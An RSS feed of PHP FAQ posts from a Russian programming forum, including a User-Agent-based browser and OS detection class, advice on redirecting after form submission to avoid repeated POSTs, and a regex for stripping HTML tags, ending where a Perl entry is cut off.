<?xml version='1.0' encoding="utf-8"?>
      <rss version='2.0'>
      <channel>
      <title>Форум на Исходниках.RU</title>
      <link>https://forum.sources.ru</link>
      <description>Форум на Исходниках.RU</description>
      <generator>Форум на Исходниках.RU</generator>
  	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=3015763</guid>
        <pubDate>Sat, 29 Oct 2011 06:38:41 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=3015763</link>
        <description><![CDATA[fatalist: <span class='tag-size' data-value='14' style='font-size:14pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Как определить браузер пользователя на сервере?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=97127' target='_blank'>Serafim</a><br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Исходное сообщение:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showtopic=343783&view=findpost&p=3015737' target='_blank'>Определение браузера пользователя (сообщение #3015737)</a><br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">/*</div><div class="code_line">* @package &nbsp; &nbsp; userlib</div><div class="code_line">* @version &nbsp; &nbsp; 1.3.1 stable</div><div class="code_line">* @autor &nbsp; &nbsp; &nbsp; Serafim</div><div class="code_line">* @info &nbsp; &nbsp; Библиотека определения браузера и операционной системы клиента</div><div class="code_line">*/</div><div class="code_line">class Browser{</div><div class="code_line">&nbsp;&nbsp; private $_ua &nbsp; &nbsp; &nbsp; &nbsp; = NULL;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; private $_searchEngine &nbsp;= false;</div><div class="code_line">&nbsp;&nbsp; private $_mobileBrowser = false;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; private $_name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= NULL;</div><div class="code_line">&nbsp;&nbsp; private $_type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= NULL;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; private $_os &nbsp; &nbsp; &nbsp; &nbsp; = NULL;</div><div class="code_line">&nbsp;&nbsp; private $_os_build &nbsp; &nbsp; &nbsp;= NULL;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; /**</div><div class="code_line">&nbsp;&nbsp;* @param &nbsp; &nbsp;string [$ua] &nbsp; &nbsp; &nbsp; &nbsp; Строка формата HTTP_USER_AGENT</div><div class="code_line">&nbsp;&nbsp;**/</div><div class="code_line">&nbsp;&nbsp; public function __construct($ua = NULL){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;$this -&#62; _ua = ($ua === NULL) ? $_SERVER[&#39;HTTP_USER_AGENT&#39;] : $ua;</div><div class="code_line">&nbsp;&nbsp; }</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; /**</div><div class="code_line">&nbsp;&nbsp;* @return &nbsp; string $ua &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Возвращает строку формата HTTP_USER_AGENT</div><div class="code_line">&nbsp;&nbsp;**/</div><div class="code_line">&nbsp;&nbsp; public function getUserAgent(){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;return $this -&#62; _ua;</div><div class="code_line">&nbsp;&nbsp; }</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; /**</div><div class="code_line">&nbsp;&nbsp;* @return &nbsp; integer $type &nbsp; &nbsp; &nbsp; &nbsp;Возвращает тип &quot;браузера&quot;, 0 - неопознано, 1 - клиентский, 2- мобильный, 3 - поисковик</div><div class="code_line">&nbsp;&nbsp;**/</div><div class="code_line">&nbsp;&nbsp; public function getType(){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;if( $this -&#62; _type === NULL ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; getUserAgentName();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; if( $this -&#62; _searchEngine ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$this -&#62; _type = 3;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }else{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$this -&#62; getOS();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if( $this -&#62; _mobileBrowser ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _type = 2;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}else{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _type = 1;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;return $this -&#62; _type;</div><div class="code_line">&nbsp;&nbsp; }</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; /**</div><div class="code_line">&nbsp;&nbsp;* @return &nbsp; string $browser &nbsp; &nbsp; &nbsp; &nbsp; Возвращает имя браузера клиента</div><div class="code_line">&nbsp;&nbsp;**/</div><div class="code_line">&nbsp;&nbsp; public function getUserAgentName(){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;if( $this -&#62; _name === NULL ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _checkUA($this -&#62; _ua);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;return $this -&#62; _name;</div><div class="code_line">&nbsp;&nbsp; }</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; /**</div><div class="code_line">&nbsp;&nbsp;* @return &nbsp; string $browser &nbsp; &nbsp; &nbsp; &nbsp; Возвращает имя ОС клиента</div><div class="code_line">&nbsp;&nbsp;**/</div><div class="code_line">&nbsp;&nbsp; public function getOS(){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;if( $this -&#62; _os === NULL ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _checkOS($this -&#62; _ua);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;return $this -&#62; _os;</div><div class="code_line">&nbsp;&nbsp; }</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; /**</div><div class="code_line">&nbsp;&nbsp;* @return &nbsp; string $browser &nbsp; &nbsp; &nbsp; &nbsp; Возвращает версию ОС клиента</div><div class="code_line">&nbsp;&nbsp;**/</div><div class="code_line">&nbsp;&nbsp; public function getOSBuild(){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;if( $this -&#62; _os_build === NULL ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _checkOS($this -&#62; _ua);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;return $this -&#62; _os_build;</div><div class="code_line">&nbsp;&nbsp; }</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; private function _checkOS($ua){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;$prePattern = &#39; ([0-9\d\._]+)#is&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;$types = array(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &#39;Android&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &#39;Windows CE&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &#39;SymbOS&#39;, &nbsp; &nbsp; &nbsp;// Symbian</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &#39;SymbianOS&#39;, &nbsp; // Symbian</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &#39;J2ME&#39;, &nbsp; &nbsp; &nbsp; &nbsp;// Undefined Java</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &#39;Mac OS X&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &#39;Windows NT&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &#39;Linux&#39;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;$item = 0;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;foreach($types as $os){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; if( strstr($ua, $os) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$pattern = &#39;#&#39; . str_replace(&#39; &#39;, &#39;\s&#39;, $os) . $prePattern;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$this -&#62; _os = str_replace(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $types,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; array(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&#39;Android&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&#39;Windows Mobile&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&#39;Symbian&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&#39;Symbian&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&#39;Undefined [J2ME]&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&#39;Mac OS X&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&#39;Windows&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&#39;Linux&#39;,</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ),</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $os</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;preg_match_all($pattern, $ua, $matches);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$this -&#62; _os_build = $matches[1][0] ? $matches[1][0] : NULL;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if( $item &#60; 5 ) $this -&#62; _mobileBrowser = true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _os = &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NULL;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _os_build = &nbsp; &nbsp;NULL;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $item++;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; }</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp; private function _checkUA($ua){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;if(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Googlebot&#39;) ||</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Mediapartners-Google&#39;) ||</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Google Search Appliance&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Google&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Yandex&#39;) ||</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;YaDirectBot&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Yandex&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Yahoo!&#39;) ||</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;YahooFeedSeeker&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Yahoo!&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;msnbot&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;MSN&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Mail.Ru&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Mail.Ru&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;StackRambler&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Rambler&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;W3C_Validator&#39;) ||</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;W3C_CSS_Validator_JFouffa&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;W3C Validator&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Baiduspider&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Baidu&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;ia_archiver&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Alexa&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;curl&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= true;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;libCURL&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Chrome&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Chrome&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Opera&#39;) &amp;&amp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; !(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;strstr($ua, &#39;Mini&#39;) ||</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;strstr($ua, &#39;Mobi&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; )</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Opera&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Opera&#39;) &amp;&amp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Mini&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Opera Mini&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif(</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Opera&#39;) &amp;&amp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; strstr($ua, &#39;Mobi&#39;)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Opera Mobile&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Firefox&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Firefox&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Android&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Android&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Avant&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Avant&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Epiphany&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Epiphany&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Flock&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Flock&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;K-Meleon&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;K-Meleon&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Konqueror&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Konqueror&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;PLAYSTATION&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;PlayStation 3&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;PSP&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;PlayStation Portable&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;Safari&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Safari&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;SeaMonkey&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;SeaMonkey&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}elseif( strstr($ua, &#39;MSIE&#39;) ){</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp;= &#39;Internet Explorer&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}else{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _searchEngine &nbsp;= false;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; $this -&#62; _name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= &#39;[undefined] &#39; . $ua;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; }</div><div class="code_line">}</div></ol></div></div></div></div><script>preloadCodeButtons('1');</script>]]></description>
        <author>fatalist</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=1167259</guid>
        <pubDate>Thu, 06 Jul 2006 19:52:27 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=1167259</link>
        <description><![CDATA[Ho Im: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Как избежать при отправке формы и последующего обновления страницы повторного POST&#39;а со всеми вытекающими последствиями?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=1758' target='_blank'>Ho Im</a><br>
<br>
Самый простой и надежный способ &mdash; это разделить обработку формы и вывод результатов так, чтобы они выводились по разным запросам. В результате скрипт, обработавший форму каким-либо образом может передать управление на другой скрипт, отображающий результат обработки; при последующих F5 форма уже не будет отправляться, так как параметры будут другими.<br>
<br>
Передать управление можно либо через ответ HTTP 302 (заголовок Location: some/where), либо через HTML-документ, содержащий перенаправление по &lt;meta http-equiv=&quot;refresh&quot;...&gt;<br>
<br>
Правило, которое нужно помнить &mdash; нельзя задерживать браузер на страничке, запрос к которой должен лишь однократно отправить данные на сервер (оплата онлайн, загрузка файла, отправка сообщения на форум).<br>
<br>
Подобная схема осуществлена на нашем форуме, в частности, при отправке сообщений.<br>
<br>
<span class="tag-color tag-color-named" data-value="gray" style="color: gray"><span class='tag-size' data-value='7' style='font-size:7pt;'>Это сообщение было перенесено сюда или объединено из темы &quot;<a class='tag-url' href='http://forum.sources.ru/index.php?showtopic=147092' target='_blank'>Как избежать повторной передачи POSTa</a>&quot;</span></span>]]></description>
        <author>Ho Im</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=669085</guid>
        <pubDate>Sun, 03 Apr 2005 17:03:18 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=669085</link>
        <description><![CDATA[Ho Im: <span class='tag-size' data-value='13' style='font-size:13pt;'><span class="tag-color tag-color-named" data-value="green" style="color: green">Каким регулярным выражением полностью очистить текст от HTML-разметки?</span></span><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue">Автор:</span> <a class='tag-url' href='http://forum.sources.ru/index.php?showuser=1758' target='_blank'>Ho Im</a><br>
<br>
Используйте следующее (Perl-style):<br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">s/&#60;(([^&#62;]|\n)*)&#62;//g</div></ol></div></div></div></div>]]></description>
        <author>Ho Im</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=577251</guid>
        <pubDate>Fri, 14 Jan 2005 15:03:13 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=577251</link>
        <description><![CDATA[Tishaishii: <span class="tag-color tag-color-named" data-value="green" style="color: green"><span class='tag-size' data-value='13' style='font-size:13pt;'>Кроссплатформенное определение путей к папкам и файлам с помощью Perl</span></span><br>
<br>
